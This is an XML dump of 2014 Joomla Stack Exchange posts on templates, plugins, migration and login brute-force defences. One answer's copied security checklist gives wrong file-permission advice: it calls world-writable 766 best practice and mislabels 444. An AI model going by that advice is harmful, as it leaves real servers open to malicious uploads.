  <row Id="3951" PostTypeId="2" ParentId="3950" CreationDate="2014-08-09T11:32:59.720" Score="1" Body="&lt;p&gt;You have for your header a &lt;code&gt;-20px&lt;/code&gt; value for the top attribute. This causes the header to go up &lt;code&gt;-20px&lt;/code&gt;, creating this extra space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is located in &lt;code&gt;templates/protostar/template.css&lt;/code&gt; on line &lt;strong&gt;14113&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, removing this &lt;code&gt;top: -20px;&lt;/code&gt; will give you an extra space on top of the header. If you don't want this, then you have to adjust the padding for the container class - &lt;code&gt;templates/protostar/template.css&lt;/code&gt; on line &lt;strong&gt;14169&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.body .container {&#xA;  background-color: white;&#xA;  -moz-border-radius: 4px;&#xA;  -webkit-border-radius: 4px;&#xA;  border-radius: 4px;&#xA;  padding:20px;   **/* Change this to padding: 0 20px 20px; */**&#xA;...&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change padding to &lt;code&gt;padding: 0 20px 20px;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2014-08-09T16:14:05.760" LastActivityDate="2014-08-09T16:14:05.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3952" PostTypeId="2" ParentId="3918" CreationDate="2014-08-09T16:12:23.760" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not entirely sure why you have created 2 profiles, but if you have any question, even if you think they may be downvoted, please simply stick to 1 profile.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Judging by &lt;a href=&quot;https://joomla.stackexchange.com/questions/3800/how-to-make-shorthand-for-countmodules&quot;&gt;another question&lt;/a&gt; you wrote on using your other profile, I am under the impression that you want to make things as simply as possible. The only problem being, is that this can't always be done. As I mentioned on the other question, your &quot;short hand&quot; code may have been easier to write, but it was slower in performance, and what is the same scenario with the suggestion you posted as a comment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The above below gets the article title and escapes it. Pretty straight forward.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating a wrapper such as &lt;code&gt;{article_title}&lt;/code&gt; means that you will have to use a replacement method, such as &lt;code&gt;str_replace&lt;/code&gt;. This means &lt;strong&gt;another&lt;/strong&gt; function that isn't necessary. If you have multiple articles on 1 page, it will perform this action multiple time, therefore, I don't mean to sound harsh, but it's absolutely pointless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the difference in size, well....there isn't much, so it's not hurting anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, lets say you wanted to perform some custom actions with the article title. For example, Let's say you wanted to make the first word of every article title a different colour, by wrapping the first word of the string in a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tag with a class. You would not be able to, or it would become very hard doing this using &lt;code&gt;{article_title}&lt;/code&gt;, as you have lost control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you look at it another way, it has been kept as it is, making it more dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority is what Joomla provides is to make life easier that you as a developer can customize it to your liking ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answer your question clearly&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-08-09T16:12:23.760" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3953" PostTypeId="1" AcceptedAnswerId="3956" CreationDate="2014-08-09T22:14:15.923" Score="4" ViewCount="971" Body="&lt;p&gt;Just out of curiosity: Could a hacker write a script to brute-force the Joomla admin login by trying random usernames/passwords, or is there a limit as to how many times a user can try to log in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/22982&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; in the Joomla Extensions Directory that (among other functions) claim to protect your site from brute-force attacks. Is it necesary to use such an extension?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="159" LastEditDate="2014-08-10T08:45:26.030" LastActivityDate="2014-08-10T11:33:15.373" Title="Can Joomla be brute-force attacked?" Tags="|security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3954" PostTypeId="1" AcceptedAnswerId="3958" CreationDate="2014-08-10T01:41:10.253" Score="11" ViewCount="1603" Body="&lt;p&gt;I am using AngularJS to add some more advanced functionality to several of my Joomla article pages.  On these pages I need to add the ng-app attribute to the &lt;code&gt;&amp;lt;HTML&amp;gt;&lt;/code&gt; tag on my page.  Currently the normal HTML tag for my Joomla (v3.3) pages looks like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html prefix=&quot;og: http://ogp.me/ns#&quot; xml:lang=&quot;en-gb&quot; lang=&quot;en-gb&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I need it to look like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html prefix=&quot;og: http://ogp.me/ns#&quot; xml:lang=&quot;en-gb&quot; lang=&quot;en-gb&quot; ng-app=&quot;dataManager&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This needs to be a bit dynamic since different pages may need a different ng-app directive. Is there a proper way to do this in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently importing AngularJS using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $document = JFactory::getDocument();&#xA;    $urlAngular = &quot;http://ajax.googleapis.com/ajax/libs/angularjs/1.2.21/angular.min.js&quot;;&#xA;    $document-&amp;gt;addScript($urlAngular); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help you can give.&lt;/p&gt;&#xA;" OwnerUserId="1759" LastEditorUserId="168" LastEditDate="2014-08-10T09:27:00.620" LastActivityDate="2014-08-10T11:02:27.853" Title="Proper way to add attributes to HTML tag of Joomla page?" Tags="|joomla-api|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3955" PostTypeId="2" ParentId="3954" CreationDate="2014-08-10T02:45:09.270" Score="1" Body="&lt;p&gt;You can use PHP to add dynamic content to the &lt;code&gt;ng-app&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;\templates\yourtemplate\index.php&lt;/code&gt; file, change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html prefix=&quot;og: http://ogp.me/ns#&quot; xml:lang=&quot;en-gb&quot; lang=&quot;en-gb&quot; ng-app=&quot;dataManager&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( condition ) {&#xA;   $ngapp = &quot;dataManager&quot;;&#xA;} else {&#xA;   $ngapp = &quot;somethingElse&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;html prefix=&quot;og: http://ogp.me/ns#&quot; xml:lang=&quot;en-gb&quot; lang=&quot;en-gb&quot; ng-app=&quot;&amp;lt;?php echo $ngapp ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-10T02:45:09.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3956" PostTypeId="2" ParentId="3953" CreationDate="2014-08-10T06:09:15.853" Score="3" Body="&lt;p&gt;Any login page with a input field of 'userid&quot; and &quot;pass&quot; can be brute forced if no other protection is applied. The same is the case with Joomla!. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/22982&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the plugin you stated&lt;/strong&gt;&lt;/a&gt; to mitigate the attack, and also having a &quot; &lt;em&gt;strong&lt;/em&gt; &quot; password can delay a brute force relatively indefinitely (till the attacker gives up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to add a captcha to the login form after a certain no. of failed login attempts(like google does).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use CDN to add another layer of security against brute force, like CloudeFlare provides one for free.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-08-10T06:14:37.417" LastActivityDate="2014-08-10T06:14:37.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3957" PostTypeId="2" ParentId="3953" CreationDate="2014-08-10T09:40:49.587" Score="1" Body="&lt;p&gt;Seeing as you haven't specified a Joomla version, I will assume you are referring to Joomla 3.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3 uses BCrypt to hash passwords, inlike Joomla 2.5 which used &lt;code&gt;md5 + salt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little nice snippet I found from &lt;em&gt;yorickpeterse.com&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm not going to cover all the technical details but basically BCrypt requires you to specify a cost/workfactor in order to generate a password. This workfactor not only makes the entire process slower but is also used to generate the end hash. This means that if somebody were to change the workfactor the hash would also be different. In other words, hackers, you're f***ed. In order for a hacker to gain the original password he must use the same workfactor and thus has to wait N times longer than when not using a workfactor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Therefore to answer your initial question, yes, it is probably possible to brute force, &lt;strong&gt;however&lt;/strong&gt; it would take most likely years. Bcrypt is considered one of the most advances hashing techniques out there today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look at Joomla's built in Two Factor Autentication, which is an additional layer of security. Have a read of the following for more information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dart-creations.com/joomla/joomla-tutorials/enabling-and-using-joomla-two-factor-authentication.html&quot; rel=&quot;nofollow&quot;&gt;http://www.dart-creations.com/joomla/joomla-tutorials/enabling-and-using-joomla-two-factor-authentication.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not additional 3rd party plugins are required.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-10T11:33:15.373" LastActivityDate="2014-08-10T11:33:15.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3958" PostTypeId="2" ParentId="3954" CreationDate="2014-08-10T11:02:27.853" Score="5" Body="&lt;p&gt;You can create a &lt;code&gt;system&lt;/code&gt; plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemAddAttr extends JPlugin&#xA;{&#xA;    public function onAfterRender()&#xA;    {&#xA;        $document = JFactory::getApplication();&#xA;        $htmlString = $document-&amp;gt;getBody();&#xA;&#xA;        $dom = new DOMDocument();&#xA;        libxml_use_internal_errors(true);&#xA;        $dom-&amp;gt;loadHTML($htmlString);&#xA;        libxml_use_internal_errors(false);&#xA;        $htmlTag = $dom-&amp;gt;getElementsByTagName('html')-&amp;gt;item(0);&#xA;&#xA;        $domAttribute = $dom-&amp;gt;createAttribute('ng-app');&#xA;        $domAttribute-&amp;gt;value = 'dataManager';&#xA;        $htmlTag-&amp;gt;appendChild($domAttribute);&#xA;&#xA;        $document-&amp;gt;setBody($dom-&amp;gt;saveHtml());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-10T11:02:27.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3959" PostTypeId="2" ParentId="175" CreationDate="2014-08-10T12:52:07.330" Score="3" Body="&lt;p&gt;Borrowing this list from a whitepaper &quot;Pen-testing a Joomla site&quot; found on blog. I think this list is a thorough guideline for the basics of Joomla security.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Always keep you Joomla up to date. Install the latest upgrade as soon as the upgrade is released. &lt;/li&gt;&#xA;&lt;li&gt;Whatever extensions are being used, they must be properly patched with latest upgrade releases. Any old extension may give attacker a way to compromise the site. &lt;/li&gt;&#xA;&lt;li&gt;Do not use extensions which have not being used by, or which have not been tested properly. &lt;/li&gt;&#xA;&lt;li&gt;All user inputs must be properly validated. These inputs can be inputs in forms, URI, image uploads, etc. Suppose if a BROWSE button enables the user to upload the image, it must only enable him to upload an image and not a PHP shell which may later work like a backdoor on the server.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use strong passwords for all logins. At least 8 characters, one special character, one number, and one case sensitive letter. It will protect your installation from a brute force.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Always keep a track of “Latest Visitors” in the Web Server’s log files for catching potential attacks. Never consider your log files just a piece of information. It is highly useful in tracking and monitoring the users.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put some stress to implement more security to the whole server on which you Joomla based site is hosted; being it hosted on shared server or a dedicated one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a list of all the extensions you use and keep monitoring them. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep yourself up to date with latest vulnerabilities and disclosures at various security advisories. Exploit-db, osvdb, CVE, etc. are some of the good resources. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the permission on your .htaccess file as it is by default using write permissions (as Joomla has to update it). The best practice is to use 444 (r-xr-xr-x). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Proper file permissions on the public directories must be given so that any malicious file must not be uploaded or executed. The best practice in this context is 766 (rwxrw-rw-), i.e. only Owner can read, write and execute. Others can only read and write. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No one must have the permission to write into PHP files on the server. They all must be set with 444 (r—r—r--), everyone can read only. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delegate the roles. It makes your Administrator account goes safe. In case someone hacks into your machine, it must have access to the respective user only, and not the administrator account. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The database users must only have permission to give commands like INSERT, UPDATE, and DELETE rows. They must not be allowed to DROP tables. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the names of backend folders, e.g. you can change /administrator to /admin12345. 16. Last but not the least, keep updated with latest vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The complete whitepaper can be found here: &lt;a href=&quot;http://www.exploit-db.com/wp-content/themes/exploit/docs/22763.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.exploit-db.com/wp-content/themes/exploit/docs/22763.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-10T12:52:07.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3960" PostTypeId="1" AcceptedAnswerId="4408" CreationDate="2014-08-10T22:28:33.893" Score="5" ViewCount="3596" Body="&lt;p&gt;I recently enabled Force_SSL on one of my Joomla sites (by enabling &quot;Force SSL&quot; in Global Configuration), but I run into problems with blocked content (non-SSL content) from both Google fonts and several external scripts from &lt;a href=&quot;http://www.jotform.com&quot; rel=&quot;noreferrer&quot;&gt;JotForm.com&lt;/a&gt; (loaded through &quot;http://&quot; in  template and content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this particular site I solved the problem by going through the code and changing each external &lt;code&gt;http://...&lt;/code&gt; reference to &lt;code&gt;https://...&lt;/code&gt; or just &lt;code&gt;//...&lt;/code&gt;, but my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be solved easier or more efficient by automatically changing &lt;code&gt;http://...&lt;/code&gt; to &lt;code&gt;https://...&lt;/code&gt; in the source code (with a plugin) or using the &lt;code&gt;.htaccess&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-28T05:34:11.827" Title="Change http to https in source code when using SSL" Tags="|plugin|security|.htaccess-configuration|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3961" PostTypeId="1" AcceptedAnswerId="3962" CreationDate="2014-08-11T01:28:33.390" Score="5" ViewCount="928" Body="&lt;p&gt;I'm trying to build a plugin that adds a class to all images in my articles. So far I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;jimport('joomla.plugin.plugin');&#xA;class plgContentAddImageClass extends JPlugin&#xA;{&#xA;    public function __construct(&amp;amp;$subject, $params)&#xA;    {&#xA;        parent::__construct($subject, $params);&#xA;    }&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $offset = 0)&#xA;    {&#xA;        // Article Content&#xA;        $content = &amp;amp;$article-&amp;gt;text;&#xA;        // Find images and add a class&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm stuck as to how I can find images in the content and add a class to them. Also, the images might have a class already, in that case I want to add a new one to the existing classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;I have a plugin that watermarks any image with a certain class, but because the site already has lots of images, I would like to add the class to the images dynamically instead of going through each &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag on the site and add the classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that I can target all images with CSS, it just doesn't help in this case.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="1723" LastEditDate="2014-08-14T16:25:20.407" LastActivityDate="2014-08-14T16:25:20.407" Title="Add a class to all images in article dynamically" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3962" PostTypeId="2" ParentId="3961" CreationDate="2014-08-11T02:29:17.183" Score="3" Body="&lt;p&gt;You can load the content into a &lt;code&gt;DOMDocument()&lt;/code&gt;, and manipulate it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;jimport('joomla.plugin.plugin');&#xA;class plgContentAddImageClass extends JPlugin&#xA;{&#xA;    public function __construct(&amp;amp;$subject, $params)&#xA;    {&#xA;        parent::__construct($subject, $params);&#xA;    }&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $offset = 0)&#xA;    {&#xA;        // Article Content&#xA;        $content = &amp;amp;$article-&amp;gt;text;&#xA;        // Find images and add a class&#xA;        $dom = new DOMDocument();&#xA;        @$dom-&amp;gt;loadHTML(mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8'));&#xA;        $dom-&amp;gt;preserveWhiteSpace = false;&#xA;        $images                  = $dom-&amp;gt;getElementsByTagName('img');&#xA;        foreach($images as $image) {&#xA;            // the existing classes already on the images&#xA;            $existing_classes   = $image-&amp;gt;getAttribute('class');&#xA;            // the class you want to add&#xA;            $new_class          = ' yourclass';&#xA;            // the existing classes plus the new class&#xA;            $class_names_to_add = $existing_classes . $new_class;&#xA;            $image-&amp;gt;setAttribute('class', $class_names_to_add);&#xA;        }&#xA;        // $dom now contains a complete HTML source, remove unnecessary tags&#xA;        $content = preg_replace('/^&amp;lt;!DOCTYPE.+?&amp;gt;/', '', str_replace( array('&amp;lt;html&amp;gt;', '&amp;lt;/html&amp;gt;', '&amp;lt;body&amp;gt;', '&amp;lt;/body&amp;gt;'), array('', '', '', ''), $dom-&amp;gt;saveHTML()));&#xA;        return true;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T11:44:04.870" LastActivityDate="2014-08-11T11:44:04.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3963" PostTypeId="1" AcceptedAnswerId="3964" CreationDate="2014-08-11T05:46:38.680" Score="-2" ViewCount="307" Body="&lt;p&gt;Can anybody help me suggesting good sites/information describing about &lt;code&gt;JEventDispatcher&lt;/code&gt; class in joomla. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Register and Trigger of an Event??&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="487" LastActivityDate="2014-08-11T07:54:14.170" Title="Good Information about JEventDispatcher Class" Tags="|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3964" PostTypeId="2" ParentId="3963" CreationDate="2014-08-11T07:54:14.170" Score="2" Body="&lt;p&gt;A good start is the doc page about how to use plugin events in your component: &lt;a href=&quot;http://docs.joomla.org/Supporting_plugins_in_your_component&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Supporting_plugins_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should give you the basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another doc page which lists the available plugin events: &lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;&#xA;Yu can of course create and trigger your own events as well.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-11T07:54:14.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3965" PostTypeId="1" AcceptedAnswerId="3966" CreationDate="2014-08-11T10:03:16.420" Score="3" ViewCount="858" Body="&lt;p&gt;If we need ton integrate a module in a template, we add this code in the index.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('position-4')): ?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-4&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can we integrate a component ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve installed a module that appears in the component menu and i don’t see any module position there.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2014-08-11T10:04:56.697" Title="How to integrate a component in a Joomla template?" Tags="|component|templates|positions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3966" PostTypeId="2" ParentId="3965" CreationDate="2014-08-11T10:04:56.697" Score="3" Body="&lt;p&gt;The define the area where a component is displayed, you need to add the following somewhere in your template index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do bare in mind that this should only be used &lt;strong&gt;once&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information in &lt;code&gt;jdoc include&lt;/code&gt; statements, have a read of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Jdoc_statements&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Jdoc_statements&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-11T10:04:56.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3967" PostTypeId="1" AcceptedAnswerId="3968" CreationDate="2014-08-11T10:26:35.933" Score="2" ViewCount="1108" Body="&lt;p&gt;I have been asked to migrate a site using Joomla 2.5 to a GoDaddy hosting account. On this account I can only use the latest version of Joomla. Are there any major problems I will run into or is it simply a case of;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;FTP file structure to new hosting account&lt;/li&gt;&#xA;&lt;li&gt;Import MySQL database&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;em&gt;configuration.php&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1765" LastEditorUserId="168" LastEditDate="2014-08-11T12:12:04.770" LastActivityDate="2014-08-11T14:13:14.573" Title="Migrating Joomla 2.5 site to 3.3" Tags="|joomla-3.x|joomla-2.5|migration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3968" PostTypeId="2" ParentId="3967" CreationDate="2014-08-11T10:34:49.603" Score="1" Body="&lt;p&gt;No, there shouldn't be any problems. The only thing you will need to do is make some changes to the &lt;strong&gt;configuration.php&lt;/strong&gt; so that the database setting match your database on the GoDaddy account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may however some some issues with some extensions. In an ideal world, if the extensions you're using have been developed using the most up to date coding standards, then there will only be some deprecated code, which should not affect functionality. However, I've seen lots of extensions for Joomla 2.5, that use Joomla 1.5 coding standard and this is what will cause issues. It does occur sometimes with big complex extensions such as jDownloads, and they do not provide a stable Joomla 3.x compatible version, thus you would have to find an alternative. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to this, be sure to keep a backup of your Joomla 2.5 site and I would suggest migrating on a test server, not the live site, to ensure that everything works smoothly.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-11T10:34:49.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3969" PostTypeId="2" ParentId="3967" CreationDate="2014-08-11T10:57:21.147" Score="0" Body="&lt;p&gt;It is worth also doing this check to turn Remember Me off&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/244/still-required-to-turn-remember-me-off-when-migrating-from-2-5-to-3-x?rq=1&quot;&gt;Still required to turn Remember me off when migrating from 2.5 to 3.x?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And probably turning off all added non core extensions and then back on one by one as you update them.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-08-11T10:57:21.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3970" PostTypeId="2" ParentId="3608" CreationDate="2014-08-11T12:12:44.753" Score="1" Body="&lt;p&gt;First of all - alternate template (place template file in your template/html/com_content directory).&#xA;&lt;br&gt;&lt;br&gt;&#xA;Article to help you: &lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&#xA;&lt;br&gt;&lt;br&gt;&#xA;Then - add new editing options to altered template. You can use existing options as refference.&lt;/p&gt;&#xA;" OwnerUserId="1752" LastActivityDate="2014-08-11T12:12:44.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3971" PostTypeId="1" CreationDate="2014-08-11T12:37:50.053" Score="10" ViewCount="5869" Body="&lt;p&gt;I need to upgrade a Joomla 2.5 site to 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses a plugin &quot;disable Mootools&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from this developer &#xA;union-d.ru/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone using this plugin successfully on 3.3 or know of an plugin with similar functionality for 3.3?&#xA;Thanks- the developer is not answering my questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone using this plugin on a 3.x site with success?&#xA;Or know of another, similar plugin that works on 3.x?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1768" LastActivityDate="2019-04-02T11:48:12.713" Title="Disable Mootools for 3.3?" Tags="|mootools|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3972" PostTypeId="2" ParentId="3971" CreationDate="2014-08-11T13:21:07.157" Score="2" Body="&lt;p&gt;This plugin is specifically for Joomla 2.5, therefore there may be some deprecated code when using it on Joomla 3.x. I would personally recommend using &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/18327&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; which is a highly reputable plugin. It's main feature is importing jQuery on your site and ensuring that it is only ever loaded once and at the top of the scripts list, but it also has a feature to disable MooTools where possible. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-11T13:21:07.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
